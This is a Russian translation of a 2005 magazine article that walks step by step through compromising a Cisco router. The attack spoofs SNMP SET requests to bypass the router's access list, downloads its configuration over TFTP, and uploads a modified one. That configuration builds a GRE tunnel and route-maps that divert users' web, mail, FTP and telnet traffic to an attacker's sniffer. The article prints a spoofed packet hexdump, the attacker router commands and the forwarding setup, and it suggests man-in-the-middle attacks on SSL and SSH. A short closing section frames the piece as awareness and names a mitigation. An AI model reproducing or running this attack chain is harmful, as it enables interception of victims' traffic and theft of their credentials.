атака на Cisco через SNMP

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности зачастую упускаются из виду.

Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP-сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

сценарий атаки

Взгляните на пример сценария атаки, показанный на рисунке 1.


Рис 1. Пример сценария атаки.

Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration : 1206 bytes
!
version 12.3
!
hostname Victim
!
enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0
!
interface Ethernet0/0
ip address dhcp
ip nat outside
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.1 255.255.255.0
ip nat inside
half-duplex
!
router rip
network 192.168.1.0
!
ip nat inside source list 102 interface Ethernet0/0 overload
no ip http server
ip classless
!
access-list 1 permit 192.168.1.0 0.0.0.255
access-list 102 permit ip any any
!
snmp-server community public RO
snmp-server community private RW 1
snmp-server enable traps tty
!
line con 0
logging synchronous
login
line aux 0
line vty 0 4
password secret
login
!
!
end

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP-доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:
1. Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
2. Создание GRE-туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

теория

Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.
Отправив SNMP-запрос SET с поддельным IP-адресом (из диапазона, описанного в RFC1918 - 192.168.1.0), мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем community string и ACL, описанные в строке конфигурации группы RW.

обход правил доступа SNMP

Начнем с создания поддельного SNMP-запроса. Используя небольшой Perl-скрипт и Ethereal, перехватим стандартный SNMP SET-запрос “copy config”, который мы будем использовать в качестве базового пакета.

root@whax# ./copy-router-config.pl

######################################################
# Copy Cisco Router config - Using SNMP
# Hacked up by muts - muts@whitehat.co.il
#######################################################
Usage : ./cisco-copy-config.pl
Make sure a TFTP server is set up, preferably running from /tmp !

После выполнения скрипта будет перехвачен SNMP-пакет, подобный тому, что показан на рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.


Рис. 2. Перехваченный SNMP-пакет.

Обратите внимание на IP-адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на рис. 3.


Рис. 3. Изменение обратного IP-адреса пакета.

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):

root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod
file2cable - by FX
Thanx go to Lamont Granquist & fyodor for their hexdump()
/root/snmp-mod - 238 bytes raw data
000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E.
00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@.@.5.......
91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0.....
0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private.......
9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+.
0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x.
0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`..
0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+.
0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x.
0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`..
0101 0583 f1b0 7840 0450 b34c e330 2706 ......x@.P.L.0'.
112b 0601 0401 0909 6001 0101 0106 83f1 .+......`.......
b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router.
636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+.....
0960 0101 0101 0e83 f1b0 7802 0104 .`........x...
Packet length: 238

После этого наш TFTP-сервер примет соединение, Ethereal-лог которого показан на рисунке 4.


Рис. 4. Соединение с TFTP-сервером, перехваченное Ethereal.

Обратите внимание на обратный IP-адрес SNMP-пакета и на TFTP-запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.

GRE-туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. С помощью него можно, например, создать GRE-туннель с одного маршрутизатора на другой для передачи IPX-пакетов туда и обратно через канал, поддерживающий только протокол IP. GRE также часто используется в VPN-системах.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:
- создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера;
- определить, какой трафик будет проходить через туннель;
- распаковывать GRE-пакеты, идущие с атакованного маршрутизатора, и переправлять их на компьютер атакующего (sniffer) для анализа.

атакуемый маршрутизатор

Итак, нам нужно создать GRE-туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET-запрос (благо мы уже умеем это делать ;). Добавим следующие строки в файл конфигурации атакуемого маршрутизатора:

interface tunnel0
ip address 192.168.10.1 255.255.255.0
tunnel source Ethernet0/0
tunnel destination
tunnel mode gre ip

Они означают следующее:
- Мы создали интерфейс tunnel0 и указали IP-адрес из сети 192.168.10.x. Для обмена данными оба конца туннеля должны находиться в одной подсети. - Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
- Конец туннеля - это IP-адрес внешнего интерфейса маршрутизатора хакера.

Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE-туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.
Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

access-list 101 permit tcp any any eq 443
access-list 101 permit tcp any any eq 80
access-list 101 permit tcp any any eq 21
access-list 101 permit tcp any any eq 20
access-list 101 permit tcp any any eq 23
access-list 101 permit tcp any any eq 25
access-list 101 permit tcp any any eq 110

Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

router-map divert-traffic
match ip address 101
set ip next-hop 192.168.10.2
interface Ethernet0/0
ip policy route-map divert-traffic

Эта запись несет в себе следующий смысл:
- Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду match чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
- В качестве next-hop адреса мы указали IP-адрес атакующего.
- Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.

маршрутизатор хакера

Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли
туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.

Начнем с создания GRE туннеля на маршрутизаторе атакующего:

Attacker(config)# interface tunnel0
Attacker(config-if)# ip address 192.168.10.2 255.255.255.0
Attacker(config-if)# tunnel source Ethernet0/0
Attacker(config-if)# tunnel destination
Attacker(config-if)# tunnel mode gre ip
Attacker(config)# access-list 101 permit ip any any
Attacker(config)# router-map divert-to-sniffer
Attacker(config-route-map)# match ip address 101
Attacker(config-route-map)# set ip next-hop 192.168.3.5
Attacker(config-route-map)# exit
Attacker(config)# interface tunnel0
Attacker(config-if)# ip policy route-map divert-to-sniffer

Эти правила означают следующее:
- Мы создали правило доступа, разрешающее все типы трафика.
- Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер). - Созданное правило доступа используется в качестве условия соответствия.
- В качестве next-hop адреса мы указали IP-адрес атакующего (sniffer).
- Мы применили карту маршрутизации к интерфейсу tunnel0.
Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE-пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP-пакеты без GRE-инкапсуляции.
Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out
Attacker(config-route-map)# match ip address 101
Attacker(config-route-map)# set ip next-hop 192.168.10.1
Attacker(config-route-map)# exit
Attacker(config)# interface ethernet0/0
Attacker(config-if)# ip policy route-map divert-out

Эти дополнительные настройки означают следующее:
- После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
- Мы применили карту маршрутизации к Ethernet-интерфейсу.

атакующий (sniffer)
По завершению конфигурирования маршрутизаторов нам нужно настроить компьютер атакующего (sniffer) для перехвата и перенаправления данных. Важно, чтобы компьютер был сконфигурирован на обратное перенаправление пакетов. Для этого можно использовать одну из следующих команд:

root@whax:~# echo 1 >/proc/sys/net/ipv4/ip_forward

или

root@whax:~# fragrouter -B1

Без перенаправления наша атака вызовет отказ в обслуживании (DoS) на атакуемом компьютере и, соответственно, потеряет смысл.

начинаем атаку

После того, как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активация GRE-туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Нам нужно создать поддельный SNMP SET-запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того, чтобы получить базовый пакет, мы снова отправим обычный запрос:

root@whax# ./merge-router-config.pl
######################################################
# Merge Cisco Router config - Using SNMP
# Hacked up by muts - muts@whitehat.co.il
#######################################################
Usage : ./merge-copy-config.pl
Make sure a TFTP server is set up, prefferably running from /tmp !

Перехватим этот пакет и изменим обратный IP-адрес и некоторые другие поля заголовка пакета, как показано на рисунке 5.


Рис. 5. Изменение заголовка пакета.

После отправки модифицированного пакета будет создано TFTP-соединение с нашим компьютером (рисунок 6).


Рис. 6. Соединение с TFTP сервером атакующего.

Обратите внимание на TFTP-запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:

*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0
ccCopyTable.1.2.12285992 = 1
ccCopyTable.1.3.12285992 = 4
ccCopyTable.1.4.12285992 = 1
ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server)
ccCopyTable.1.6.12285992 = pwnd-router.config
ccCopyTable.1.14.12285992 = 4
*Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0
ccCopyTable.1.2.12285992 = 1
ccCopyTable.1.3.12285992 = 4
ccCopyTable.1.4.12285992 = 1
ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server)
ccCopyTable.1.6.12285992 = pwnd-router.config
ccCopyTable.1.14.12285992 = 4
*Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5

Заметьте, что адрес TFTP-сервера отличается от IP-адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рис. 7.


Рис. 7. GRE-туннель.

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel
*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242
->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55
->212.199.145.242, tos=0x0
*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242
->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55
->212.199.145.242, tos=0x0g all

Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рис. 8.


Рис. 8. Жертва ищет информацию о GRE-туннелях.

В результате этих действий Ethereal на компьютере атакующего получит пакеты, показанные на рисунке 9.


Рис. 9. Сниффер показывает запрос в Google на поиск информации о GRE-туннелях.

Кроме использования специализированного сниффера (такого, как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса «человек посередине» (man-in-the-middle) на компьютер жертвы. Ettercap – хорошая утилита, позволяющая кроме перехвата разных типов паролей организовать атаку «человек посередине» на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.

заключение

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP-сервера хватило бы, чтобы сорвать атаку.

Скептики могут спросить “Как атакующий узнал о правилах доступа/имени SNMP-группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP-адреса, и такая утилита уже существует. /* Если народ более-менее вдумчиво относится к выбору паролей или методов шифрования, то изменение community string с дефолтного – скорее редкость, чем правило. – прим. ред. */

Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.



Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок.


Сетевые решения. Статья была опубликована в номере 10 за 2005 год в рубрике save ass…

©1999-2024 Сетевые решения